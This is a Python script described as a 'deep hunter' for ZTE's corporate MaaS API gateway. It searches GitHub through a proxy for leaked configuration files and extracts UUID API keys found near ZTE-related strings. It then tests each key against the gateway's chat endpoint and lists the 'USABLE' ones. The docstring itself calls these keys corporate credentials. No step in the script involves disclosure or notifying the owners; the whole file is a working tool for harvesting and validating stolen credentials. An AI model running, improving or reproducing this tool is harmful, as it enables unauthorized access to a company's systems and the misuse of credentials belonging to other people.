#!/usr/bin/env python3 """Deep hunter for ZTE MaaS API gateway (maas-apigateway.dt.zte.com.cn). ZTE corporate MaaS platform proxies models under /model//v1. Keys are UUIDs (8-4-4-4-12). Gateway is IP-allowlisted: TLS completes but HTTP hangs from outside, so leaked keys are corporate credentials. Only explicit 401/invalid-key = DEAD. Timeout/000 = UNKNOWN (may be valid behind VPN). Real 200 with choices = USABLE. """ import json, os, re, sys, time, urllib.parse, urllib.request, urllib.error from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent)) from verify_cache import CachedVerifier HERE = Path(__file__).resolve().parent OUT = HERE / "results" / "zte_maas" OUT.mkdir(parents=True, exist_ok=True) GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389") TOKEN = (os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") or os.popen("gh auth token 2>/dev/null").read().strip()) GH_OPENER = (urllib.request.build_opener( urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})) if GH_PROXY else urllib.request.build_opener()) DIRECT = urllib.request.build_opener() UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/124.0 Safari/537.36") HOST = "maas-apigateway.dt.zte.com.cn" UUID_RE = re.compile( r"\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-" r"[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b" ) MODEL_SLUG_RE = re.compile(r"/model/([A-Za-z0-9_\-.]+?)/v1") MODEL_NAME_RE = re.compile(r'"model"\s*:\s*"([^"]+)"') CONTEXT = ("zte.com.cn", "maas-apigateway", "zte", "REMOTE_API_KEY", "REMOTE_BASE_URL", "qwen3-coder", "ZTE_MAAS", "zte_maas") FAKE = ("00000000-0000-0000-0000-000000000000", "12345678-1234-1234-1234-123456789012", "xxxxxxxx", "your-", "example", "replace", "changeme", "placeholder", "<") QUERIES = [ '"maas-apigateway.dt.zte.com.cn"', '"maas-apigateway" zte', '"dt.zte.com.cn"', '"REMOTE_API_KEY" zte', '"REMOTE_BASE_URL" zte', '"qwen3-coder-480b"', '"Qwen3-Coder-480B"', '"zte.com.cn" "Bearer" extension:py', '"zte.com.cn" "Bearer" extension:js', '"zte.com.cn" "api_key" extension:py', '"zte.com.cn" "api_key" extension:js', '"zte.com.cn" extension:env', '"zte.com.cn" extension:yaml', '"zte.com.cn" extension:yml', '"zte.com.cn" extension:json', '"zte.com.cn" extension:sh', '"maas-apigateway" extension:py', '"maas-apigateway" extension:js', '"maas-apigateway" extension:env', '"maas-apigateway" extension:yaml', '"ZTE_MAAS"', '"zte_maas"', '"ZTE_API_KEY"', '"/model/qwen" zte', ] def gh_code_search(query, max_results=100): out = [] for page in range(1, 4): url = ("https://api.github.com/search/code?" + urllib.parse.urlencode({"q": query, "per_page": 100, "page": page})) req = urllib.request.Request(url, headers={ "Authorization": "token " + TOKEN, "Accept": "application/vnd.github+json", "User-Agent": "zte-maas-hunter/1.0"}) try: with GH_OPENER.open(req, timeout=30) as r: data = json.loads(r.read()) except urllib.error.HTTPError as e: if e.code in (403, 429): reset = e.headers.get("X-RateLimit-Reset") wait = min(max(int(reset) - int(time.time()) + 2, 2), 120) if reset else 30 time.sleep(wait); continue if e.code == 422: break time.sleep(5); continue except Exception: time.sleep(5); continue items = data.get("items", []) for it in items: out.append((it["repository"]["full_name"], it["path"], it["html_url"])) if len(items) < 100: break time.sleep(6.5) return out[:max_results] def fetch_raw(repo, path): for ref in ("HEAD", "main", "master"): url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}" req = urllib.request.Request(url, headers={"User-Agent": UA}) try: with GH_OPENER.open(req, timeout=25) as r: return r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: if e.code == 404: continue return "" except Exception: continue return "" def harvest(text): """Return (keys, model_slugs, model_names).""" if not text: return set(), set(), set() low = text.lower() if not any(c.lower() in low for c in CONTEXT): return set(), set(), set() keys = set() for m in UUID_RE.finditer(text): k = m.group(0) kl = k.lower() if any(f in kl for f in FAKE): continue # Gate: must be near an API-key assignment or zte context lo = max(0, m.start() - 120) hi = min(len(text), m.end() + 120) window = text[lo:hi].lower() if not any(sig in window for sig in ("api_key", "apikey", "api-key", "bearer", "token", "secret", "authorization", "key", "zte", "maas", "remote_api", "base_url")): continue keys.add(k) slugs = set(MODEL_SLUG_RE.findall(text)) names = set(MODEL_NAME_RE.findall(text)) return keys, slugs, names def classify(code, body): j = None try: j = json.loads(body) except Exception: pass msg = "" choices = None if isinstance(j, dict): err = j.get("error") if isinstance(err, dict): msg = str(err.get("message", ""))[:200] elif isinstance(err, str): msg = err[:200] choices = j.get("choices") if choices: return "USABLE", "200 choices" if code == 401: return "DEAD", f"401 {msg}".strip() if code == 402: return "NO_BALANCE", f"402 {msg}".strip() if code == 429: return "NO_BALANCE", f"429 {msg}".strip() if code == 200: if choices is None: return "UNKNOWN", f"200 no choices: {body[:120]}" return "USABLE", "200 choices" if code == 400: ml = msg.lower() if any(w in ml for w in ("invalid", "unauthor", "api key", "authentication", "incorrect")): return "DEAD", f"400 {msg}".strip() if any(w in ml for w in ("balance", "quota", "insufficient", "limit", "payment", "arrears")): return "NO_BALANCE", f"400 {msg}".strip() return "NO_ACCESS", f"400 {msg}".strip() if code == 0: return "UNKNOWN", "timeout/connection (IP-gated?)" if code in (403, 404, 422, 451): return "NO_ACCESS", f"{code} {msg}".strip() return "UNKNOWN", f"{code} {msg}".strip() def verify_one(key, slug="qwen3-coder-480b", model="Qwen3-Coder-480B-A35B-Instruct"): """Verify a UUID key against ZTE MaaS. Tries known model slugs.""" slugs = [slug] for s in ("qwen3-coder-480b", "qwen-coder", "deepseek", "glm", "qwen"): if s not in slugs: slugs.append(s) body = json.dumps({ "model": model, "messages": [{"role": "user", "content": "ok"}], "max_tokens": 5, "temperature": 0, }).encode() last = "no model tried" for sl in slugs: url = f"https://{HOST}/model/{sl}/v1/chat/completions" req = urllib.request.Request(url, data=body, headers={ "Authorization": "Bearer " + key, "Content-Type": "application/json", "User-Agent": UA, "Accept": "application/json"}) try: with DIRECT.open(req, timeout=25) as r: code = r.getcode() data = r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: code = e.code try: data = e.read().decode("utf-8", "replace") except Exception: data = "" except Exception as e: last = f"net {type(e).__name__}" continue v, d = classify(code, data) if v in ("USABLE", "DEAD", "NO_BALANCE"): return v, f"{sl} {d}" last = f"{sl} {d}" return "UNKNOWN", last def verify(key): return verify_one(key) def main(): import argparse ap = argparse.ArgumentParser() ap.add_argument("--search", action="store_true") ap.add_argument("--verify", action="store_true") ap.add_argument("--workers", type=int, default=16) ap.add_argument("--key", default=None, help="Verify a single key directly") args = ap.parse_args() if args.key: v, d = verify(args.key) print(f"{v}\t{d}") return cand = OUT / "candidates.tsv" if args.search: seen = set() if cand.exists(): for ln in cand.read_text().splitlines(): p = ln.split("\t") if len(p) >= 3: seen.add(p[2]) print(f"proxy={GH_PROXY} token={'yes' if TOKEN else 'NO'}") for q in QUERIES: res = gh_code_search(q) new = [r for r in res if r[2] not in seen] for repo, path, url in new: seen.add(url) with cand.open("a") as f: f.write(f"{repo}\t{path}\t{url}\n") print(f" {q:48} {len(res):3} hits, {len(new):3} new", flush=True) time.sleep(2) print(f"candidate files -> {cand}") if args.verify: if not cand.exists(): print("no candidates.tsv (run --search first)"); return files = [ln.rstrip("\n").split("\t") for ln in cand.read_text().splitlines() if ln.strip()] print(f"harvesting {len(files)} files...") keys = {} all_slugs = set() all_names = set() for i, (repo, path, url) in enumerate(files): text = fetch_raw(repo, path) ks, slugs, names = harvest(text) for k in ks: keys.setdefault(k, url) all_slugs.update(slugs) all_names.update(names) if (i + 1) % 25 == 0: print(f" {i+1}/{len(files)} keys={len(keys)}", flush=True) time.sleep(0.1) print(f"harvested {len(keys)} unique candidate keys") if all_slugs: print(f"model slugs found: {sorted(all_slugs)}") (OUT / "model_slugs.txt").write_text("\n".join(sorted(all_slugs))) if all_names: print(f"model names found: {sorted(all_names)}") (OUT / "model_names.txt").write_text("\n".join(sorted(all_names))) buckets = {k: [] for k in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")} with CachedVerifier("zte_maas", verify) as ver: with ThreadPoolExecutor(max_workers=args.workers) as ex: futs = {ex.submit(ver, k): (k, s) for k, s in keys.items()} done = 0 for fut in as_completed(futs): k, s = futs[fut]; done += 1 try: v, d = fut.result() except Exception as e: v, d = "UNKNOWN", f"exc:{e}" buckets[v].append((k, s, d)) if done % 10 == 0: print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} " f"unknown={len(buckets['UNKNOWN'])} " f"dead={len(buckets['DEAD'])}", flush=True) for label in buckets: with (OUT / f"{label.lower()}.txt").open("w") as f: for k, s, d in buckets[label]: f.write(f"{k}\t{s}\t{d}\n") print() for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"): print(f" {label:11}: {len(buckets[label])}") for k, s, d in buckets["USABLE"]: print(f" ✅ {k} {d}") print(f" {s}") for k, s, d in buckets["UNKNOWN"][:10]: print(f" ❓ {k} {d}") if __name__ == "__main__": main()